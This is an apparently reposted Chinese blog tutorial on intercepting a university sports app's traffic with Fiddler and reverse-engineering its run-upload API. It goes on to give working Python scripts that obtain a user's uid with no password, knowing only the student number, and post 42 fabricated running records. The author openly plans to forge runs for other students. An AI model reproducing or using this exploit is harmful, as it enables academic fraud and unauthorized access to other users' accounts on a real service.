Fiddler抓包
Fiddler是一個蠻好用的抓包工具,可以將網路傳輸發送與接受的資料包進行截獲、重發、編輯、轉存等操作,也能用于安卓抓包,
Fiddler有多種版本,我用的是Progress Telerik Fiddler Web Debugger,為了能抓手機的包,需要一些準備作業:比如自己的手機和電腦必須在同一個局域網內,我選擇的解決辦法是,手機和電腦統一連接校園網,這樣就能保證手機可以用Fiddler作為代理了,相當于手機和服務器之間插入了第三者,Fiddler能監聽到它們之間的一切通信,
那怎樣設定呢?
首先,我們需要知道自己電腦的IP地址,你可以在命令列輸入ipconfig來查看,或者在Fiddler能直接查看
然后就是手機上的設定了,
代理主機就是我的電腦的ip地址,而代理埠就是Fiddler啟動時候占用的埠,具體哪個埠可以在Fiddler:tool→options→connections中查看,沒有修改過的話默認是8888,這時你就能抓到手機上的http包了,如果還想要抓到https的包,那就需要手機上安裝證書了,證書下載方式:手機瀏覽器輸入以下地址:電腦ip:8888,

手機下載安裝即可,
好了,現在可以抓到http包了,現在就打開學校體育軟體,看看它都做了什么事吧,
Fiddler已經抓了很多包了,ctrl+x清空全部,瞬間干凈許多,
我現在想要的是在上傳我的跑步記錄時候做了哪些事情,先要有一段跑步記錄,所以還是得小跑一段,不過要是你實在不愿意出門,可以下載一款定位模擬軟體,
從打開到軟體到我上傳記錄捕獲的包如下所示:
開心,很清晰就找到我們要的介面/Api/webserver/uploadRunData,但是要分析這個http包還有點困難,如圖所示,出現亂碼,但是回應訊息很清晰:一個json字串,m=707486,r=1,請記住這個格式的資料,
所以現在又有一個難題擺在面前,雖然介面和請求頭我們看的明白,但是發過去的資料我們看不了,
但是可以看到Accept-Encoding是采用gzip壓縮的,所以我們把這段亂碼資料還原就有了思路,幸好我之前寫過解壓的代碼:如下所示:
public static void main(String[] args) {
byte[] arrOutput = { (byte) 0x1F, (byte) 0x8B, (byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0D, (byte) 0xC8, (byte) 0x31, (byte) 0x0E, (byte) 0xC3, (byte) 0x30, (byte) 0x08, (byte) 0x00, (byte) 0xC0, (byte) 0xCF, (byte) 0x54, (byte) 0x62, (byte) 0xA9, (byte) 0x25, (byte) 0x30, (byte) 0x18, (byte) 0x9B, (byte) 0xFE, (byte) 0x86 };
System.out.println(new String(uncompress(arrOutput)));
}
public static byte[] uncompress(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return null;
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
try {
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
} catch (Exception e) {
e.printStackTrace();
}
return out.toByteArray();
}
arrOutput 變數是我在Fiddler切換到HexView查看方式下,復制得到的,如圖:

但是粘貼也就是 0x1F,0x8B,直接黏貼上去,idea會報錯,我們必須強轉為byte型別,但是16進制數太多,一個個黏貼太麻煩,我就直接ctrl+r,替換0x為(byte) 0x,Replace all(小技巧),
控制臺查看我們得到的資料如下:
{'begintime':'1636199707','endtime':'1636200772','uid':'717d7480-28f6-4b1a-a58b-3830e1db41eb95ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43','schoolno':'xxxxx','distance':'3010.0','speed':'2.8289473684210527','studentno':'xxxxxxxxxxxxx','atttype':'3','eventno':'801','location':'','pointstatus':'1','usetime':'1064.0'}
這里schoolno和studentno就不展示了,還有location太長了,我就去掉了,但是不影響我們繼續分析流程,location這個欄位,在我后面研究程序中發現后端并沒有做校驗,它具體記錄的值是我們某個時間點所處的位置,然后我只修改了begintime和endtime發現居然提交成功了,在學校體育管理界面查到兩條資料,僅僅時間不同,距離和速度一模一樣,Ohhhhhhhhhhh,

但是,這還不算完!!!!,你們看到后面就會發現學校體育后端的傻逼之處了
仔細看這些引數,begintime,endtime,schoolno,distance,speed,studentno,atttype,eventno,location,pointstatus,usetime還有uid,begintime,endtime,distance,speed,studentno,location,usetime我們都是可以偽造的,schoolno,atttype,eventno,pointstatus不變,猜測atttype,eventno,pointstatus三個引數是表示選擇的跑步型別的引數,不用管,我們刷公里數只用校內定向跑,
最后還有一個引數uid,這是一個加密過的資料,每個用戶只對應一個,上傳的時候如果學號和uid對應不上,就會上傳不成功,這里其實我們已經捕獲到自己的uid了,那我要是拿到其他同學的uid,那我豈不是可以幫其他人跑了,我最喜歡助人為樂了,抱著這種想法,我就開始在捕獲的資料包里一個一個查詢uid
但是,我在剛剛捕獲的資料包里才看第一個,就已經發現了uid了,解壓縮從控制臺發現,這個請求體里就包含學號和姓名兩個欄位:
注意,捕獲這些資料包是從我進軟體到上傳資料的這一段時間的資料包,而uid出現在第一個包的請求體里,作為引數,那說明uid早就已經在手機上了,而我忽略了一個重要步驟:“登錄”,所以我決定,退出登錄,重新抓取資料,

name=%5B%27bangdingschool%27%2C%27xxxxx%27%2C%27xxxxxxxxxxxxx%27%2C%271ac959ab-249d-4479-9721-5fa2a4916b63%27%2C%27nubia%27%2C%27NX651J%27%2C%27android%27%2C%2711%27%5D
讓我找到了回傳uid的請求在這個包里,這個請求里,如圖示紅里一模一樣,而其他引數有schoolno,studentno(我打碼的兩個),我的手機牌子nubia,手機型號NX651J,還有一個11,11在后面經過驗證是不需要改動的,這里這麼多%xx可能不便于觀察,那這樣的呢?
name=['bangdingschool','xxxxx','xxxxxxxxxxxxx','32adcecb-79b9-4467-b5c0-c3d09b129467','nubia','NX651J','android','11']
回應體的內容:
success,http://xx.xx.xxx.xxx:8029/DragonFlyServ/,1ac959ab-249d-4479-9721-5fa2a4916b63c39708d2250749a5b9a64f5c775479dc1636278013$2962b0f01be157c24e50f76055c6d9d6,http://xx.xx.xxx.xx/app/index.php
總的來看,我沒有用到密碼,就從一個服務器里得到了uid,果然有漏洞,而現在我還需要知道32adcecb-79b9-4467-b5c0-c3d09b129467怎么弄到的呢?熟悉java的小伙伴肯定知道,這不就是 java.util.UUID.randomUUID().toString()隨機生成的嗎?
到這一步,我們已經完全把通信程序理解清楚了,接下來就是寫自動跑步的代碼了
第一步,先從java隨機生成一個UUID
public class UUID {
public static String getUUID(){
return java.util.UUID.randomUUID().toString();
}
public static void main(String[] args) {
System.out.println(getUUID());//236df500-4995-4f79-91f0-c119308abcd3
}
}
得到UUID,放進http請求體里,
import requests
url = 'http://xxxxxxxxxx.cn:8012/cloud/DflyServer'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'Keep-Alive',
'Charset': 'UTF-8',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 11; NX651J Build/RKQ1.200826.002)',
'Host': 'xxxxxxxxxx.cn:8012',
'Accept-Encoding': 'gzip',
'Content-Length': '168'
}
data = "name=['bangdingschool','xxxxx','xxxxxxxxxxxxx','236df500-4995-4f79-91f0-c119308abcd3','nubia','NX651J','android','11']"
res= requests.post(url,headers=headers,data=data)
print(res.text)
# success,http://xx.xx.xxx.xxx:8029/DragonFlyServ/,236df500-4995-4f79-91f0-c119308abcd395ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43,http://xx.xx.xxx.xx/app/index.php
有了uid,放進最開始分析的http請求里
import requests
import gzip
import json
from numpy import random
url = 'http://xx.xx.xxx.xxx:8029/DragonFlyServ/Api/webserver/uploadRunData'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'Keep-Alive',
'Charset': 'UTF-8',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 11; NX651J Build/RKQ1.200826.002)',
'Host': 'xx.xx.xxx.xxx:8029',
'Accept-Encoding': 'gzip',
'Content-Length': '1963'
}
#一天相差的時間戳86400+-300
intervalTime = 0
begintime = 1631705429
for i in range(1,43):#1-43
begintime = begintime+intervalTime
usetime = random.randint(1064 - 30, 1064 + 30) # 1064.0
endtime = usetime + 1 + begintime
distance = random.randint(2900, 3100) # 3010.0
speed = format(distance / usetime, '.16f') # 2.8289473684210527
intervalTime = random.randint(86400-300,86400+300)
baseData = "{'begintime':'" + str(begintime) + "','endtime':'" + str(endtime) + "','uid':'236df500-4995-4f79-91f0-c119308abcd395ce1bf7ab934f6fba67100a06171cc01636129683$9ddfb400491530a73a7e273d4d9b6a43','schoolno':'xxxxx','distance':'" + format(distance,'.1f') + "','speed':'" + speed + "','studentno':'xxxxxxxxxxxxx','atttype':'3','eventno':'801','location':'','pointstatus':'1','usetime':'" + format(usetime,'.1f') + "'}"
# print(baseData)
data = gzip.compress(baseData.encode())
res= requests.post(url,headers=headers,data=data)
print(res.text)
#這里列印的是{"r":"1","m":"708027"},不就是我前面要大家記住的json嗎

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/355310.html
標籤:其他
